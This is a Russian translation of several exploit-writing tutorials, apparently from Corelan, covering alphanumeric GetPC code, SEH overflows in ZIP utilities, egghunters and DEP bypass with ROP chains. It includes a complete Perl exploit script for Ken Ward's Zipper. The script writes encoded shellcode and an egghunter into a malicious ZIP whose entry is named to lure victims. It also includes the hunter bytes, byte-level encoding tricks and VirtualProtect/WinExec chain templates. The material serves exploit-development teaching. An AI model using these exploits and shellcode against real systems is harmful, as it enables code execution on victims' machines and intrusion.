- `jmp ecx`: `0xff 0xe1` -> `0x98 0xa0`
- `jmp edx`: `0xff 0xe2` -> `0x98 0x83`
- `jmp ebx`: `0xff 0xe3` -> невозможно
- `jmp esp`: `0xff 0xe4` -> `0x98 0x84`
- `jmp ebp`: `0xff 0xe5` -> `0x98 0x86`
- `jmp esi`: `0xff 0xe6` -> `0x98 0x91`
- `jmp edi`: `0xff 0xe7` -> `0x98 0x87`

Буквенно-цифровой код GetPC?

Можно пойти ещё дальше и попробовать создать код GetPC.

Если это удастся, сложные собственные декодеры больше не понадобятся.

Код GetPC можно поместить перед любым шелл-кодом, созданным alpha2, и заставить закодированный egghunter или шелл-код работать без предварительного выравнивания регистра.

Если это сработает, экономия времени будет огромной.

Рассмотрим код GetPC с обратным вызовом, показанный в моём учебнике по шелл-коду:

```
[BITS 32]
jmp short corelan
geteip:
  pop esi
  call esi      ; this will jump to decoder
corelan:
  call geteip
  decoder:
    ; decoder goes here

  shellcode:
    ; encoded shellcode goes here
```

Коды операций этой процедуры GetPC выглядят так:

• `jmp short corelan`: `0xeb 0x03`
• `geteip: pop esi`: `0x5e`
• `call esi`: `0xff 0xd6`
• `corelan: call geteip`: `0xe8 0xf8 0xff 0xff 0xff`

После выполнения этого кода GetPC регистр ESI будет указывать непосредственно на область после инструкции `call geteip`.

Снова применим преобразование:

• `0xeb 0x03`: `0x89 0x03` — как видно из `compare.txt`, значение `03` не изменилось.
• `0x5e`: без преобразования.
• `0xff 0xd6`: `0x98 0x99`.
• `0xe8 0xf8 0xff 0xff 0xff`: `0x8a 0x?? 0x98 0x98`.

Возникает небольшая проблема: ни одно преобразование не даёт `0xf8`. Поэтому нужно немного изменить код — скорректировать смещения и вставить NOP-подобные инструкции.

Рассмотрим следующий код:

```
# alphanum GetPC code
# written by Peter Van Eeckhoutte
my $getpc =
"\x89\x05".             # jmp short (5 bytes) to 'jmp back' at end
"\x5e".                 # pop esi
"\x41".                 # nop (inc ecx)
"\x98\x99".             # call esi
"\x41".                 # nop (inc ecx)
"\x8a\x94\x98\x98\x98"; # jmp back to pop esi
```

После преобразования этого кода во время выполнения получается следующий результат:

Это именно то, что требовалось. Сразу после выполнения кода ESI указывает на адрес непосредственно после процедуры GetPC. Если поместить сразу за кодом GetPC шелл-код, закодированный alpha2 с ESI в качестве базового регистра, цель достигнута.

Собираем всё вместе: улучшенный эксплойт Ken Ward Zipper

На основе знаний из первой статьи на abysssec.com структура полезной нагрузки будет следующей:

```
[1022 bytes to hit SE record] [nSEH] [SEH] [junk]
```

В состав первых 1022 байт входят:

• Имя файла.
• Большое количество NOP; поскольку `0x90` преобразуется в другое значение, используются NOP-аналоги, например `0x41`.
• Код GetPC.
• Закодированный egghunter.
• Несколько NOP.
• Дальний переход назад, приводящий к NOP перед кодом GetPC.

В nSEH выполняется короткий переход назад, приводящий к NOP перед дальним переходом назад.

SEH перезаписывается адресом из `zip4.exe`, включая нулевой байт.

Мусор: несколько NOP, двойной тег, необходимый egghunter, и шелл-код.

После переноса этой схемы в Perl сценарий эксплойта выглядит так:

```
# Exploit script for Ken Ward's zipper
# Taking advantage of payload conversion (improved version)
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#-------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f"."\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f"."\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00"."\x12\x10\x00\x00".
"\x02\x10\x00\x00"."\x00\x00";

print "[+] Preparing payload\n";
my $size=4064;
my $offset=1022;

my $getpc =
"\x89\x05"."\x5e"."\x41"."\x98\x99"."\x41".
"\x8a\x94\x98\x98\x98";

my $filename="Admin accounts and passwords.txt".(" " x 100);
my $egghunter="VYIIIIIIIIIIIIIIII7QZjAXP0A0".
"AkAAQ2AB2BB0BBABXP8ABuJIQvmQ".
"kzKOTOsr2rbJC2pXxM4nUlWupZSD".
"ZOlx0wtpVP1dnkZZLosEyzlosEm7".
"KOM7A";
my $jmpback="\x82\x38\x98\x98\x98"; # jump back 200 bytes
my $nops2="A" x 10;
my $nops1="A" x ($offset-length($filename.$getpc.$egghunter.$nops2.$jmpback));
my $part1=$filename.$nops1.$getpc.$egghunter.$nops2.$jmpback;
my $nseh="\x89\x93\x41\x41"; # jump back 12 bytes
my $seh=pack('V',0x0046AFA3);
my $payload=$part1.$nseh.$seh;

# w00t tag followed by alpha-encoded shellcode
```

```
my $shellcode="w00tw00t".
"\x89\xe2\xda\xdc\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49".
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56".
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41".
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42".
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x49\x49\x4a".
"\x4b\x4d\x4b\x48\x59\x43\x44\x46\x44\x4a\x54\x46\x51\x4e".
"\x32\x4e\x52\x43\x4a\x50\x31\x49\x59\x42\x44\x4c\x4b\x44".
"\x31\x46\x50\x4c\x4b\x43\x46\x44\x4c\x4c\x4b\x43\x46\x45".
"\x4c\x4c\x4b\x47\x36\x45\x58\x4c\x4b\x43\x4e\x47\x50\x4c".
"\x4b\x46\x56\x47\x48\x50\x4f\x44\x58\x44\x35\x4c\x33\x50".
"\x59\x45\x51\x4e\x31\x4b\x4f\x4d\x31\x43\x50\x4c\x4b\x42".
"\x4c\x47\x54\x51\x34\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x46".
"\x34\x44\x45\x42\x58\x43\x31\x4b\x5a\x4c\x4b\x51\x5a\x44".
"\x58\x4c\x4b\x50\x5a\x47\x50\x43\x31\x4a\x4b\x4b\x53\x47".
"\x47\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x50".
"\x31\x4b\x4f\x46\x51\x4f\x30\x4b\x4c\x4e\x4c\x4b\x34\x4f".
"\x30\x43\x44\x44\x4a\x49\x51\x48\x4f\x44\x4d\x45\x51\x4f".
"\x37\x4a\x49\x4a\x51\x4b\x4f\x4b\x4f\x4b\x4f\x47\x4b\x43".
"\x4c\x46\x44\x46\x48\x44\x35\x49\x4e\x4c\x4b\x50\x5a\x47".
"\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c".
"\x4b\x51\x4a\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x54\x4c".
"\x4b\x45\x51\x4d\x38\x4c\x49\x51\x54\x46\x44\x45\x4c\x43".
"\x51\x49\x53\x4e\x52\x43\x38\x46\x49\x49\x44\x4c\x49\x4a".
"\x45\x4d\x59\x48\x42\x42\x48\x4c\x4e\x50\x4e\x44\x4e\x4a".
"\x4c\x46\x32\x4b\x58\x4d\x4c\x4b\x4f\x4b\x4f\x4b\x4f\x4d".
"\x59\x47\x35\x44\x44\x4f\x4b\x43\x4e\x48\x58\x4d\x32\x44".
"\x33\x4c\x47\x45\x4c\x51\x34\x51\x42\x4b\x58\x4c\x4b\x4b".
"\x4f\x4b\x4f\x4b\x4f\x4d\x59\x47\x35\x45\x58\x42\x48\x42".
"\x4c\x42\x4c\x47\x50\x4b\x4f\x42\x48\x46\x53\x50\x32\x46".
"\x4e\x43\x54\x45\x38\x43\x45\x42\x53\x45\x35\x43\x42\x4b".
"\x38\x51\x4c\x51\x34\x45\x5a\x4c\x49\x4b\x56\x50\x56\x4b".
"\x4f\x50\x55\x44\x44\x4b\x39\x4f\x32\x46\x30\x4f\x4b\x4e".
"\x48\x49\x32\x50\x4d\x4f\x4c\x4d\x57\x45\x4c\x51\x34\x46".
"\x32\x4b\x58\x51\x4e\x4b\x4f\x4b\x4f\x4b\x4f\x45\x38\x42".
"\x4c\x45\x31\x42\x4e\x46\x38\x42\x48\x51\x53\x42\x4f\x42".
"\x52\x45\x35\x50\x31\x49\x4b\x4d\x58\x51\x4c\x46\x44\x44".
"\x47\x4d\x59\x4d\x33\x43\x58\x45\x31\x42\x4e\x51\x48\x51".
"\x30\x43\x58\x42\x4f\x44\x32\x42\x45\x42\x4c\x45\x38\x42".
"\x42\x43\x49\x47\x50\x50\x43\x45\x38\x42\x4e\x43\x55\x45".
"\x34\x51\x30\x42\x48\x42\x4e\x47\x50\x44\x30\x43\x47\x45".
"\x38\x47\x50\x42\x42\x43\x55\x45\x35\x43\x58\x43\x58\x45".
"\x31\x42\x56\x43\x55\x42\x48\x46\x39\x42\x4f\x43\x45\x51".
"\x30\x50\x31\x4f\x39\x4c\x48\x50\x4c\x47\x54\x45\x4e\x4d".
"\x59\x4b\x51\x50\x31\x4e\x32\x50\x52\x51\x43\x50\x51\x46".
"\x32\x4b\x4f\x48\x50\x50\x31\x49\x50\x50\x50\x4b\x4f\x50".
"\x55\x44\x48\x45\x5a\x41\x41";

my $rest="D" x ($size-length($payload.$shellcode));
$payload=$payload.$rest.$shellcode.".txt";
my $evilzip=$ldf_header.$payload.$cdf_header.$payload.$eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : ".length($payload)."\n";
```

Результат: больше никаких сложных кодировщиков и приёмов выравнивания регистров — только сочетание простой логики и компенсации преобразования символов:

0day-переполнение стека в QuickZip: коробка шоколадных конфет

corelanc0d3r, 2010-03-27

Часть 1

В этой статье разрабатывается эксплойт для переполнения стека в QuickZip. Уязвимый путь обрабатывает специально сформированный ZIP-архив и повреждает запись регистрации исключения.

В первой части создаётся обычный SEH-эксплойт, который затем адаптируется к ограниченному пространству после SEH с помощью egghunter. Во второй части намеренно используется обработчик из DLL операционной системы и исследуются дополнительные проблемы кодирования и надёжности, возникающие из-за этого выбора.

> Примеры предназначены для исторических версий Windows и QuickZip. Адреса относятся только к показанному окружению.

Окружение и инструменты

В лабораторной среде используются:

• Уязвимая версия QuickZip.
• Windows XP SP3.
• Immunity Debugger.
• Вспомогательные средства отладчика в стиле `pvefindaddr`/Mona.
• Инструменты Metasploit для шаблонов и полезных нагрузок.
• Perl для создания вредоносного содержимого ZIP.
• ZIP-утилита или библиотека, позволяющая точно управлять полями имён файлов.

Ошибка

Создайте архив с длинным именем файла. Циклический шаблон позволит найти перезаписанные поля управления.

Используйте значение шаблона из `nSEH` или `SEH`, чтобы вычислить точное смещение:

```
!mona pattern_offset <value>
```

Создайте архив заново с различимыми маркерами:

```
[padding to nSEH]
[BBBB = nSEH]
[CCCC = SEH]
[remaining controlled data]
```

Создание SEH-эксплойта: пять минут работы

Классическая структура использует короткий переход в nSEH и стабильный адрес POP POP RET в SEH:

```
[padding]
[short jump]
[POP POP RET]
[landing area]
[shellcode]
```

Ищите модули без защиты SafeSEH и избегайте адресов, содержащих байты, которые изменяет анализатор имён файлов.

```
!pvefindaddr nosafeseh
!pvefindaddr ppr
```

Сработал ли эксплойт?

Передайте исключение приложению и убедитесь, что выбранный обработчик возвращает выполнение в nSEH.

Первоначальный короткий переход выполняется, но пространство сразу после SEH слишком мало или содержит байты, изменённые при обработке архива.

Пять минут работы и неприятности

Изучите все контролируемые области, а не пытайтесь любой ценой поместить шелл-код в первое очевидное место. Имя файла архива встречается в памяти процесса в нескольких местах, причём некоторые копии усечены или преобразованы.

Переход назад

Если перед nSEH достаточно неповреждённых контролируемых байтов, используйте обратный переход. Вычислите смещение относительно инструкции, следующей за переходом:

```
destination - address_after_jump = signed displacement
```

Для ближнего относительного перехода:

```
E9 xx xx xx xx
```

Недопустимые символы анализатора могут помешать непосредственному кодированию, поэтому проверьте точные байты в памяти.

Мы можем перейти назад; что дальше?

Доступная область перед SEH всё ещё недостаточно велика для любой полезной нагрузки. Компактный первый этап может найти в памяти более крупную полезную нагрузку с меткой.

Где можно разместить шелл-код?

Найдите во всей памяти неповреждённую копию известного префикса полезной нагрузки. Запишите исходные байты в файл и сравните их с памятью:

```
!pvefindaddr compare c:\tmp\payload.bin
```

Если другое выделение, сформированное из данных архива, содержит полезную нагрузку без изменений, итоговый шелл-код может быть значительно больше непосредственной области стека.

Охотник

Используйте 32-байтовый охотник на основе `NtAccessCheckAndAuditAlarm` с меткой `w00t`:

```
my $hunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e" .
"\x3c\x05\x5a\x74\xef\xb8" .
"w00t" .
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
```

Добавьте двойную метку перед настоящей полезной нагрузкой:

```
my $egg = "w00tw00t" . $shellcode;
```

Беги, охотник, беги

Эксплойт возвращается через обработчик, переходит назад в охотник, сканирует память процесса, находит `w00tw00t` и передаёт управление полезной нагрузке.

Пока не запускайте

Для надёжности нужно отдельно проверить байты охотника и полезной нагрузки. Некоторые поля архива преобразуются, нормализуются, переводятся в верхний регистр или разделяются между буферами. Если метка встретится в повреждённой копии полезной нагрузки, охотник может выполнить недопустимый код.

Это может занять больше минуты

По результатам сравнения памяти скорректируйте начальную позицию охотника или выберите метку, которая не встречается в посторонних данных. Проверьте каждую копию в памяти и во время отладки поместите `INT 3` после метки.

Переход на ESP

Альтернативный путь использует стабильный `JMP ESP`, выравнивание стека и небольшой трамплин к охотнику. Выбранные модуль и адрес должны удовлетворять ограничениям SafeSEH, ASLR и недопустимых символов для целевой версии.

Часть 2: использование POP POP RET из DLL операционной системы

Адрес из DLL операционной системы может присутствовать на большем количестве целей, но способен привнести нулевые байты, ограничения SafeSEH, ASLR и зависящие от версии изменения инструкций. В этом разделе предполагается наличие пригодного обработчика из модуля ОС, а основное внимание уделяется ограниченному набору символов, обусловленному уязвимым путём обработки имени файла.

Чего можно ожидать?

После диспетчеризации исключения выполнение достигает области, содержащей только разрешённые печатные байты. Обычные опкоды для `JMP ESP`, прямые адреса API и произвольный шелл-код нельзя вставить без изменений.

Сначала первые конфеты: PPR и переход вперёд

С помощью обработчика достигните `nSEH`, а затем закодируйте переход вперёд инструкциями, байты опкодов которых выдерживают обработку анализатором. Начальный этап также должен расположить подходящий регистр рядом с последующим декодером.

Шоколадный шелл-код

Полезная нагрузка кодируется так, чтобы каждый входной байт принадлежал разрешённому набору символов. Во время выполнения декодер восстанавливает неограниченные инструкции в доступной для записи памяти стека.

Магия базового регистра: подготовка декодера

Буквенно-цифровому кодировщику нужен регистр, указывающий на закодированные или декодированные данные. Изучите регистры при входе в декодер и выберите тот, который находится в предсказуемом отношении к контролируемому буферу.

Если `ESP` расположен близко, скопируйте его разрешёнными инструкциями и скорректируйте арифметически. Когда непосредственные опкоды `ADD` или `SUB` запрещены, используйте последовательности, составленные из печатных кодировок `POP`, `PUSH`, `AND` и `SUB EAX,imm32`.

Определение цели декодера

Восстановленный код должен записываться после декодера или в другую безопасную область. Вычислите:

```
decode_target = current_stack_pointer + encoded_decoder_length + safety_padding
```

Точное значение зависит от каждой инструкции выравнивания и каждого побочного изменения стека.

Формирование значений в EBX и ESP

Обнулите `EAX` с помощью двух масок `AND`, комбинация битов которых даёт ноль:

```
AND EAX,0x554e4d4a
AND EAX,0x2a313235
```

Затем сформируйте нужное двойное слово тремя операндами вычитания, состоящими из печатных символов:

```
SUB EAX,value1
SUB EAX,value2
SUB EAX,value3
PUSH EAX
```

Сумма операндов равна дополнительному коду требуемого выходного двойного слова. Обрабатывайте исходный декодер в обратном направлении по четыре байта, поскольку каждый `PUSH EAX` наращивает восстанавливаемый поток в сторону меньших адресов.

Испорченная конфета

Математически правильный операнд всё равно может содержать запрещённый байт или вызвать перенос, изменяющий следующий байт. Проверьте все три операнда побайтно и соберите их,

чтобы подтвердить фактический поток опкодов.

Создание декодера

Для каждого четырёхбайтового блока:

1. Разверните исходные байты в соответствии с порядком little-endian в стеке.
2. Вычислите дополнительный код.
3. Разделите его на три разрешённых двойных слова.
4. Обнулите `EAX`.
5. Выполните три вычитания.
6. Поместите полученное двойное слово в стек.

```
[stack/base alignment]
[decode block N]
[decode block N-1]
...
[decode block 1]
[transfer into reconstructed code]
```

Размещение шелл-кода

После восстановления неограниченного этапа выровняйте выполнение по его первой инструкции. Если непосредственный переход нельзя представить разрешёнными символами, расположите выходные данные сразу после кодировщика и позвольте выполнению естественно перейти в них либо используйте разрешённый эквивалент `PUSH register / RET`.

Шоколад расплавился: щёлк, щёлк, взрыв

Проследите окончательный эксплойт от обработчика исключения через выравнивание и декодирование до выполнения полезной нагрузки. Убедитесь, что декодер не перезаписывает себя и все адреса остаются допустимыми в новом процессе.

Заключительные замечания

В настоящем эксплойте следует предпочесть самый простой надёжный модуль. Упражнение с DLL операционной системы полезно тем, что требует точно рассуждать об ограничениях байтов, состоянии регистров, геометрии стека и декодировании во время выполнения.

Рабочая цепочка — не просто набор адресов и опкодов. У каждого этапа есть контракт: где начинается выполнение, какие байты выдерживают обработку, какие регистры доступны, куда записываются декодированные байты и как им передаётся управление.

Учебное руководство по написанию эксплойтов, часть 10: связываем DEP с ROP — кубик Рубика

corelanc0d3r, 2010-06-16

Введение

Аппаратное предотвращение выполнения данных помечает страницы данных, например стек и кучу, как неисполняемые. Классическое переполнение всё ещё может перезаписать адрес возврата, но непосредственное перенаправление выполнения во внедрённый шелл-код вызывает нарушение доступа.

Возвратно-ориентированное программирование (ROP) повторно использует короткие последовательности инструкций, уже находящиеся в исполняемых модулях. Каждая последовательность заканчивается `RET` или другим управляемым переходом. Располагая адреса и данные в стеке, эксплойт связывает последовательности в небольшую программу, которая вызывает существующий API, изменяет разрешения памяти, копирует код или выполняет нужное действие, не запуская первоначально байты со страницы данных.

Процесс похож на сборку кубика Рубика: каждое локальное движение просто, но меняет состояние регистров и стека, от которого зависят последующие движения.

Аппаратная DEP в мире Win32

В 32-разрядной Windows разрешения NX/XD таблицы страниц отличают исполняемый код от данных. DEP настраивается для системы и процессов, а двоичные файлы могут включать или отключать её через флаги образа и политику API, если это допускает ОС.

Обход DEP: строительные блоки

Возможные стратегии:

• Вызвать `VirtualProtect`, чтобы сделать область шелл-кода исполняемой.
• Вызвать `VirtualAlloc`, создать исполняемую память и скопировать туда нагрузку.
• Вызвать `WriteProcessMemory`, чтобы скопировать байты в исполняемую область.
• Вызвать `NtSetInformationProcess` или `SetProcessDEPPolicy`, если платформа позволяет менять политику процесса.
• Использовать возврат в библиотечный код, например `WinExec`, без выполнения внедрённого шелл-кода.
• Построить ROP-цепочку, подготавливающую аргументы API и вызывающую одну из этих функций.

Гаджет

Гаджет — полезная последовательность инструкций, заканчивающаяся `RET`, например:

```
POP EAX
RET
```

Если `ESP` указывает на адрес гаджета, `RET` загружает его в `EIP`. `POP EAX` забирает следующее двойное слово стека, а заключительная `RET` — следующий адрес. Стек одновременно служит программой и данными.

У длинных гаджетов могут быть побочные эффекты:

```
MOV EAX,DWORD PTR [EAX]
POP EBP
RET 8
```

Цепочка должна предоставить заполнение для каждой `POP` и учесть `RET n`, изменения стека, записи в память, флаги и испорченные регистры.

Функции Windows для обхода DEP

VirtualProtect

```
BOOL VirtualProtect(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flNewProtect,
    PDWORD lpflOldProtect
);
```

Цепочке нужны адрес шелл-кода, достаточная длина, `PAGE_EXECUTE_READWRITE` (`0x40`) и доступное для записи место старого значения защиты.

VirtualAlloc

```
LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
);
```

Типичные значения — `MEM_COMMIT` и исполняемая защита чтения-записи. Вторая операция должна скопировать или создать нагрузку в возвращённой области.

WriteProcessMemory

```
BOOL WriteProcessMemory(
    HANDLE hProcess,
    LPVOID lpBaseAddress,
    LPCVOID lpBuffer,
    SIZE_T nSize,
    SIZE_T *lpNumberOfBytesWritten
);
```

С псевдодескриптором текущего процесса функция копирует байты нагрузки в исполняемую область образа.

WinExec

```
UINT WinExec(LPCSTR lpCmdLine, UINT uCmdShow);
```

Функция удобна для демонстрации чистого возврата в библиотечный код: ей нужны лишь указатель строки команды и параметр отображения.

Выбор оружия

Лучший API зависит от модулей цели, доступных гаджетов, недопустимых символов, доступной для записи памяти, положения нагрузки и стабильности адресов между системами. До создания цепочки определите:

1. Точное перезаписанное поле управления.
2. Состояние регистров и стека при первом получении управления.
3. Стабильные исполняемые модули без нежелательного перемещения.
4. Целевой API или указатель на него.
5. Доступную для записи память для выходных параметров API.
6. Надёжный адрес продолжения после возврата API.

Советы по параметрам функций

API Win32 обычно используют `stdcall`: аргументы помещаются в стек справа налево, `CALL` добавляет адрес возврата, а вызываемая функция удаляет аргументы.

При входе в `VirtualProtect` стек должен выглядеть так:

```
ESP+00  return address after VirtualProtect
ESP+04  lpAddress
ESP+08  dwSize
ESP+0C  flNewProtect = 0x40
ESP+10  lpflOldProtect -> writable memory
```

Если при создании нагрузки точный адрес шелл-кода неизвестен, используйте арифметику регистров и гаджеты записи в память, чтобы исправить каркас во время выполнения.

Переносимость ROP-эксплойта

Жёстко заданные гаджеты привязывают цепочку к точным версиям и адресам загрузки модулей. Надёжный эксплойт должен доказать, что каждый модуль присутствует, исполняем и стабилен на цели. Адрес из одного пакета обновления может указывать на другие байты в другом.

Предпочитайте стабильные модули приложения с достаточным числом гаджетов. Избегайте адресов с недопустимыми символами. При активной ASLR потребуется утечка информации, частичная перезапись, модуль без ASLR или иной обход.

От EIP к ROP

Прямая перезапись возврата

При прямой перезаписи замените сохранённый `EIP` первым гаджетом и поместите оставшуюся цепочку сразу после него. `RET` каждого гаджета продвигается по цепочке.

Перезапись на основе SEH

SEH-эксплойту сначала нужен разворот стека. Последовательность обработчика `POP reg / POP reg / POP ESP / RET` может направить `ESP` в контролируемые данные записи исключения. Другие развороты используют `ADD ESP,n`, `XCHG reg,ESP` или `MOV ESP,reg` с последующим управляемым возвратом.

Перед началом

Проверяйте точную конфигурацию цели. Отключите функции отладчика, меняющие поток исключений, подтвердите включение DEP, запишите версии модулей и проверьте смещение сбоя циклическим шаблоном.

Прямой RET: версия ROP с VirtualProtect

Время ROP-н-ролла

Первая цепочка вызовет `VirtualProtect`, сделает страницу нагрузки исполняемой и вернётся к шелл-коду.

Как создать цепочку

Начните с каркаса-заполнителя:

```
[&VirtualProtect]
[return-to-shellcode]
[shellcode address]
[size]
[0x40]
[writable address]
```

Если непосредственные константы содержат недопустимые символы, создайте их арифметически:

```
POP EAX
0xffffffff
NEG EAX              ; EAX = 1
ADD EAX,EAX          ; grow to required size
```

Гаджеты передачи вроде `XCHG EAX,EDX`, `MOV ECX,EAX` и `PUSHAD` размещают значения там, где их ожидает последовательность вызова.

Поиск ROP-гаджетов

Ищите в исполняемых секциях стабильных модулей. Среди исторических средств — `pvefindaddr`, `msfrop` и специализированные сканеры.

```
!pvefindaddr rop
!pvefindaddr ropfunc
```

Проверяйте каждого кандидата вручную. Текстовое совпадение может пересекать границы инструкций, иметь разрушительные побочные эффекты или находиться на неисполняемой странице.

Гаджеты CALL-регистра

Гаджет с `CALL EAX` помещает адрес возврата в стек, а не просто забирает следующее значение. Учтите дополнительное двойное слово и очистку стека вызываемой функцией. Во многих цепочках `PUSHAD / RET` компактно создаёт вызов API из подготовленных регистров.

С чего начать?

Работайте назад от желаемого стека при входе в API. Выбирайте по одному регистру или заполнителю, находите устанавливающий его гаджет и проверяйте частичную цепочку до добавления следующего этапа.

Проверка до начала

Проверяйте каждый адрес гаджета отдельно с маркерами:

• Нужная граница инструкции.
• Все изменяемые регистры.
• Точное новое значение `ESP`.
• Чтение и запись памяти.
• Флаги для последующих условных операций.

• Изменение стека из-за `RET n`.

Всем сохранять спокойствие, это ROP-ограбление

Типичная регистровая цепочка `VirtualProtect` подготавливает:

Регистр	Назначение
EAX	NOP или указатель API, в зависимости от последовательности PUSHAD
ECX	Доступный для записи адрес lpflOldProtect
EDX	flNewProtect = 0x40
EBX	Размер области
EBP	Возврат к шелл-коду или гаджет разворота стека
ESI	Указатель на VirtualProtect
EDI	ROP NOP (RET)

Затем `PUSHAD` предсказуемо помещает значения регистров в стек, а `RET` передаёт выполнение последовательности вызова API.

```
my $rop = '';
$rop .= pack('V', $pop_eax);
$rop .= pack('V', $iat_virtualprotect);
$rop .= pack('V', $mov_eax_ptr_eax);
$rop .= pack('V', $xchg_eax_esi);
# Build EBX, EDX, ECX, EBP, EDI...
$rop .= pack('V', $pushad_ret);
```

Прямой RET, версия 2: NtSetInformationProcess

В исторических версиях Windows внутренний путь может вызвать `NtSetInformationProcess` с классом информации политики выполнения процесса. Цепочка готовит регистры, временную доступную для записи память и адрес продолжения, затем вызывает нативный API.

Метод сильно зависит от версии. Внутренние адреса и проверки `ntdll` различаются между пакетами обновлений, поэтому он менее переносим, чем разрешение документированного API через импорт целевого модуля.

Прямой RET, версия 3: SetProcessDEPPolicy

`SetProcessDEPPolicy` предлагает более короткий путь изменения политики, если экспортируется и разрешена. Цепочка разрешает функцию, помещает флаги политики и продолжение в стек и передаёт управление.

```
[SetProcessDEPPolicy]
[return-to-shellcode]
[policy flags]
```

Прямой RET, версия 4: ret-to-libc с WinExec

Не каждому эксплойту нужен внедрённый шелл-код. Если строка команды находится в контролируемой памяти, цепочка может напрямую вызвать `WinExec`:

```
[WinExec]
[continuation or ExitThread]
[pointer to "calc.exe"]
[SW_SHOW]
```

Это демонстрирует возврат в библиотечный код: DEP не отключается, все инструкции остаются на существующих исполняемых страницах.

SEH-ROP с WriteProcessMemory

Демонстрация SEH использует `WriteProcessMemory`, чтобы скопировать шелл-код в исполняемую свободную область кода и вернуться туда.

Вызов ошибки

Найдите смещения `nSEH` и `SEH`, проверьте оба маркерами и изучите регистры и стек после передачи исключения приложению.

Разворот стека

ROP-цепочка может начинаться не точно на записи исключения. Найдите гаджет, устанавливающий `ESP` из регистра, указывающего в контролируемый буфер, или продвигающий `ESP` на нужное расстояние.

ROP NOP

Обычный адрес `RET` действует как ROP NOP: забирает одно двойное слово и продолжает со следующим. Последовательность стабильных указателей `RET` даёт допуск выравнивания, но должна избегать недопустимых символов и непреднамеренного `RET n`.

Создание цепочки WriteProcessMemory

Желаемый кадр функции:

```
return address -> executable destination
hProcess       -> -1 (current process)
lpBaseAddress  -> executable destination
lpBuffer       -> shellcode source
nSize          -> shellcode length
written        -> writable address
```

Создайте или исправьте каждое значение гаджетами, вызовите `WriteProcessMemory` и вернитесь к назначению.

Egghunter

Обычный egghunter выполняется из памяти данных и тоже блокируется DEP. Сочетать поиск с ROP-обходом можно двумя общими способами.

Сценарий 1: исправление egghunter

Используйте ROP, чтобы сделать страницу охотника исполняемой или скопировать его в исполняемую область. После запуска охотник найдёт нагрузку с меткой. Её страница также должна быть исполняемой, поэтому охотник можно расширить или сочетать с ещё одним этапом изменения защиты.

Сценарий 2: ROP перед шелл-кодом

Организуйте найденное яйцо так, чтобы оно начиналось с ROP-цепочки. Охотник или первоначальный переход достигает цепочки, которая делает последующий шелл-код исполняемым и возвращается к нему.

Unicode

Преобразования Unicode ограничивают адреса гаджетов, непосредственные значения и выравнивание так же, как обычный шелл-код. «Венецианское» выравнивание может привести к развороту стека или компактной цепочке первого этапа, но каждый вставленный ноль и изменённый байт нужно моделировать. ROP не отменяет необходимости понимать преобразование уязвимого ввода.

ASLR и DEP

Теория

DEP требует исполняемых гаджетов, а ASLR скрывает их адреса. Практическому совместному обходу нужен хотя бы один источник стабильных или раскрытых указателей:

• Модуль без ASLR.
• Утечка информации с базой рандомизированного модуля.
• Частичная перезапись, сохраняющая рандомизированные старшие байты.
• Указатель модуля в полезном регистре или позиции стека.
• Специфичное для цели перебираемое условие с восстановлением после неудачи.

Пример

Пример инвентаризирует модули, сравнивает базы после перезапусков и выбирает гаджеты из модуля без ASLR. Затем вся цепочка обхода DEP строится только из стабильного образа.

Другая литература

Исходная статья направляет к исследованиям возвратно-ориентированного программирования, return-to-libc, внутреннего устройства DEP Windows, создания гаджетов и обходов защиты памяти. Эти материалы важны, поскольку версии компиляторов и механизмы защиты ОС продолжают развиваться.

Заключительные замечания

ROP-цепочки следует создавать и проверять постепенно. Рассматривайте каждый гаджет как функцию с входами, выходами, побочными эффектами и контрактом стека. Длинная цепочка, однажды сработавшая без понимания этих контрактов, не является надёжным эксплойтом.

Заметки об эксплойтах — от яиц Win32 к омлету

corelanc0d3r, 2010-08-22

В части 8 серии о написании эксплойтов я представил egghunter, а также объяснил, что такое охотник за омлетом и как он работает.

Сегодня я хочу поделиться собственной реализацией «из яиц в омлет», объяснить её работу и показать использование в самостоятельном эксплойте или модуле Metasploit. Это изложение моих заметок и инструментов, а не полноценное руководство, поэтому сначала полезно прочитать часть 8.

Основные понятия

Egghunter — небольшой фрагмент кода, который ищет в памяти другой, обычно более крупный блок шелл-кода и выполняет его после обнаружения. Крупный блок обозначается меткой, обычно четырёхбайтовой. Egghunter полезен, когда исполняемый буфер мал, но контролируемые атакующим данные можно сохранить в другом месте с непостоянным адресом.

Омлет развивает эту идею. Вместо поиска и выполнения одного блока он находит несколько частей, заново собирает исходный шелл-код и выполняет его.

